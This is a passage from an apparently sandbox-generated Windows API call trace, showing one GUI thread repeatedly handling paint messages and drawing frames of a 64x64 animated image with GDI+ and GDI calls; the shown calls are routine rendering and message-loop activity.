GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0165.600] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0165.600] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0165.600] GetSystemMetrics (nIndex=42) returned 0 [0165.600] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0165.600] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0165.600] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0165.600] CoTaskMemFree (pv=0x1e91eca0) [0165.600] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0165.600] GdipCreateRegion (region=0x15d710) returned 0x0 [0165.601] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0165.601] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0165.601] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0165.601] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0165.601] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0165.601] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0165.602] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0165.602] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0165.602] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0165.602] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0165.602] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0165.602] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0165.602] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0165.603] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0165.603] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0165.603] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0165.603] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0165.603] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0165.603] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0165.603] GetCurrentObject (hdc=0x20010ba6, type=0x1) returned 0x1b00017 [0165.603] GetCurrentObject (hdc=0x20010ba6, type=0x2) returned 0x1900010 [0165.603] GetCurrentObject (hdc=0x20010ba6, type=0x7) returned 0x1a05067e [0165.603] GetCurrentObject (hdc=0x20010ba6, type=0x6) returned 0x18a002e [0165.603] SaveDC (hdc=0x20010ba6) returned 1 [0165.604] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffff040b8a [0165.604] GetClipRgn (hdc=0x20010ba6, hrgn=0xffffffffff040b8a) returned 0 [0165.604] SelectClipRgn (hdc=0x20010ba6, hrgn=0x2f0407c3) returned 2 [0165.604] DeleteObject (ho=0xffffffffff040b8a) returned 1 [0165.604] DeleteObject (ho=0x2f0407c3) returned 1 [0165.604] OffsetViewportOrgEx (in: hdc=0x20010ba6, x=0, y=0, lppt=0x272c460 | out: lppt=0x272c460) returned 1 [0165.604] GetNearestColor (hdc=0x20010ba6, color=0xffffff) returned 0xffffff [0165.604] CreateSolidBrush (color=0xffffff) returned 0x7100190 [0165.604] FillRect (hDC=0x20010ba6, lprc=0x15d7c0, hbr=0x7100190) returned 1 [0165.604] DeleteObject (ho=0x7100190) returned 1 [0165.605] RestoreDC (hdc=0x20010ba6, nSavedDC=-1) returned 1 [0165.605] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0165.605] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x20010ba6) returned 0x0 [0165.605] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbd80dbd) returned 0x0 [0165.605] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0165.605] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0165.605] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0165.605] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0165.605] GetSystemMetrics (nIndex=42) returned 0 [0165.605] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0165.605] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0165.605] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0165.605] CoTaskMemFree (pv=0x1e91eca0) [0165.605] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x1c) returned 0x0 [0165.608] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0165.608] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0165.608] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0165.608] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0165.608] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x20010ba6, x1=0, y1=0, rop=0xcc0020) returned 1 [0165.608] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0165.608] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x20010ba6) returned 0x0 [0165.608] SelectObject (hdc=0x20010ba6, h=0x185000f) returned 0x1a05067e [0165.609] DeleteDC (hdc=0x20010ba6) returned 1 [0165.609] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0165.609] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0165.609] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0165.609] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0165.609] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0165.609] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0165.609] WaitMessage () returned 1 [0165.785] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0165.785] IsWindowUnicode (hWnd=0x2031e) returned 1 [0165.785] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0165.785] TranslateMessage (lpMsg=0x15e910) returned 0 [0165.785] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0165.785] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0165.785] GetCurrentThreadId () returned 0xec0 [0165.786] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0165.786] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0165.786] IsWindowUnicode (hWnd=0x2031e) returned 1 [0165.786] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0165.786] TranslateMessage (lpMsg=0x15e910) returned 0 [0165.786] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0165.786] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0165.786] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0165.786] CreateCompatibleDC (hdc=0x2d010b73) returned 0x21010ba6 [0165.786] SelectObject (hdc=0x21010ba6, h=0x1a05067e) returned 0x185000f [0165.786] GdipCreateFromHDC (hdc=0x21010ba6, graphics=0x15daf0) returned 0x0 [0165.787] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0165.787] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0165.787] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0165.787] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0165.787] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0165.787] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0165.787] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0165.787] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0165.788] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0165.788] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0165.788] GdipCreateRegion (region=0x15dc20) returned 0x0 [0165.788] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0165.788] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0165.788] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0165.788] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0165.788] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0165.788] GetSystemMetrics (nIndex=42) returned 0 [0165.788] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0165.788] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0165.788] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0165.788] CoTaskMemFree (pv=0x1e91eca0) [0165.788] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0165.789] GdipCreateRegion (region=0x15d710) returned 0x0 [0165.789] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0165.789] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0165.789] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0165.789] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0165.789] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0165.789] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0165.789] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0165.789] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0165.790] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0165.790] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0165.790] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0165.790] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0165.790] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0165.790] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0165.790] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0165.790] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0165.790] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0165.791] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0165.791] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0165.791] GetCurrentObject (hdc=0x21010ba6, type=0x1) returned 0x1b00017 [0165.791] GetCurrentObject (hdc=0x21010ba6, type=0x2) returned 0x1900010 [0165.791] GetCurrentObject (hdc=0x21010ba6, type=0x7) returned 0x1a05067e [0165.791] GetCurrentObject (hdc=0x21010ba6, type=0x6) returned 0x18a002e [0165.791] SaveDC (hdc=0x21010ba6) returned 1 [0165.791] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x300407c3 [0165.791] GetClipRgn (hdc=0x21010ba6, hrgn=0x300407c3) returned 0 [0165.791] SelectClipRgn (hdc=0x21010ba6, hrgn=0x40b8a) returned 2 [0165.791] DeleteObject (ho=0x300407c3) returned 1 [0165.791] DeleteObject (ho=0x40b8a) returned 1 [0165.792] OffsetViewportOrgEx (in: hdc=0x21010ba6, x=0, y=0, lppt=0x272d758 | out: lppt=0x272d758) returned 1 [0165.792] GetNearestColor (hdc=0x21010ba6, color=0xffffff) returned 0xffffff [0165.792] CreateSolidBrush (color=0xffffff) returned 0x8100190 [0165.792] FillRect (hDC=0x21010ba6, lprc=0x15d7c0, hbr=0x8100190) returned 1 [0165.792] DeleteObject (ho=0x8100190) returned 1 [0165.792] RestoreDC (hdc=0x21010ba6, nSavedDC=-1) returned 1 [0165.792] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0165.792] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x21010ba6) returned 0x0 [0165.792] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbd60dbd) returned 0x0 [0165.792] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0165.792] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0165.793] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0165.793] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0165.793] GetSystemMetrics (nIndex=42) returned 0 [0165.793] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0165.793] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0165.793] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0165.793] CoTaskMemFree (pv=0x1e91eca0) [0165.793] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0165.793] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0165.793] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0165.793] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0165.793] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x21010ba6, x1=0, y1=0, rop=0xcc0020) returned 1 [0165.793] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0165.793] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x21010ba6) returned 0x0 [0165.794] SelectObject (hdc=0x21010ba6, h=0x185000f) returned 0x1a05067e [0165.794] DeleteDC (hdc=0x21010ba6) returned 1 [0165.794] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0165.794] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0165.794] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0165.794] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0165.794] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0165.794] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0165.794] WaitMessage () returned 1 [0166.004] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0166.004] IsWindowUnicode (hWnd=0x2031e) returned 1 [0166.004] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0166.004] TranslateMessage (lpMsg=0x15e910) returned 0 [0166.004] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0166.004] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0166.004] GetCurrentThreadId () returned 0xec0 [0166.004] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0166.004] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0166.004] IsWindowUnicode (hWnd=0x2031e) returned 1 [0166.004] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0166.004] TranslateMessage (lpMsg=0x15e910) returned 0 [0166.004] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0166.004] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0166.005] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0166.005] CreateCompatibleDC (hdc=0x2d010b73) returned 0x22010ba6 [0166.005] SelectObject (hdc=0x22010ba6, h=0x1a05067e) returned 0x185000f [0166.005] GdipCreateFromHDC (hdc=0x22010ba6, graphics=0x15daf0) returned 0x0 [0166.005] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0166.005] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0166.005] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0166.005] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0166.006] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0166.006] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0166.006] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0166.006] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0166.007] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.007] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0166.007] GdipCreateRegion (region=0x15dc20) returned 0x0 [0166.007] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0166.007] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0166.007] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0166.007] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0166.007] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0166.007] GetSystemMetrics (nIndex=42) returned 0 [0166.007] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0166.007] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0166.007] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0166.007] CoTaskMemFree (pv=0x1e91eca0) [0166.007] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0166.008] GdipCreateRegion (region=0x15d710) returned 0x0 [0166.008] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0166.008] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0166.008] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0166.008] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0166.008] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0166.008] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0166.009] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0166.009] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0166.009] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0166.009] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0166.009] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0166.010] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.010] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0166.010] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0166.010] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0166.010] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0166.010] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.010] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0166.010] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0166.010] GetCurrentObject (hdc=0x22010ba6, type=0x1) returned 0x1b00017 [0166.010] GetCurrentObject (hdc=0x22010ba6, type=0x2) returned 0x1900010 [0166.010] GetCurrentObject (hdc=0x22010ba6, type=0x7) returned 0x1a05067e [0166.010] GetCurrentObject (hdc=0x22010ba6, type=0x6) returned 0x18a002e [0166.010] SaveDC (hdc=0x22010ba6) returned 1 [0166.011] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x1040b8a [0166.011] GetClipRgn (hdc=0x22010ba6, hrgn=0x1040b8a) returned 0 [0166.011] SelectClipRgn (hdc=0x22010ba6, hrgn=0x310407c3) returned 2 [0166.011] DeleteObject (ho=0x1040b8a) returned 1 [0166.011] DeleteObject (ho=0x310407c3) returned 1 [0166.011] OffsetViewportOrgEx (in: hdc=0x22010ba6, x=0, y=0, lppt=0x272e090 | out: lppt=0x272e090) returned 1 [0166.011] GetNearestColor (hdc=0x22010ba6, color=0xffffff) returned 0xffffff [0166.011] CreateSolidBrush (color=0xffffff) returned 0x9100190 [0166.011] FillRect (hDC=0x22010ba6, lprc=0x15d7c0, hbr=0x9100190) returned 1 [0166.012] DeleteObject (ho=0x9100190) returned 1 [0166.012] RestoreDC (hdc=0x22010ba6, nSavedDC=-1) returned 1 [0166.012] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.012] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x22010ba6) returned 0x0 [0166.012] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbd40dbd) returned 0x0 [0166.012] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.012] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0166.012] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0166.012] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0166.012] GetSystemMetrics (nIndex=42) returned 0 [0166.012] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0166.012] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0166.012] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0166.012] CoTaskMemFree (pv=0x1e91eca0) [0166.013] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x0) returned 0x0 [0166.014] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0166.014] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0166.014] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0166.014] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0166.014] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x22010ba6, x1=0, y1=0, rop=0xcc0020) returned 1 [0166.014] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.014] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x22010ba6) returned 0x0 [0166.014] SelectObject (hdc=0x22010ba6, h=0x185000f) returned 0x1a05067e [0166.014] DeleteDC (hdc=0x22010ba6) returned 1 [0166.015] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.015] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0166.015] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0166.015] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0166.015] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0166.015] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0166.015] WaitMessage () returned 1 [0166.336] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0166.337] IsWindowUnicode (hWnd=0x2031e) returned 1 [0166.337] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0166.337] TranslateMessage (lpMsg=0x15e910) returned 0 [0166.337] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0166.337] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0166.337] GetCurrentThreadId () returned 0xec0 [0166.337] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0166.338] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0166.338] IsWindowUnicode (hWnd=0x2031e) returned 1 [0166.338] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0166.338] TranslateMessage (lpMsg=0x15e910) returned 0 [0166.338] DispatchMessageW (lpMsg=0x15e910) returned 0x1 [0166.338] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0166.338] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0166.339] CreateCompatibleDC (hdc=0x2d010b73) returned 0x3b0106c6 [0166.339] SelectObject (hdc=0x3b0106c6, h=0x1a05067e) returned 0x185000f [0166.339] GdipCreateFromHDC (hdc=0x3b0106c6, graphics=0x15daf0) returned 0x0 [0166.340] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0166.340] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0166.340] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0166.340] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0166.340] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0166.340] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0166.341] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0166.341] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0166.341] 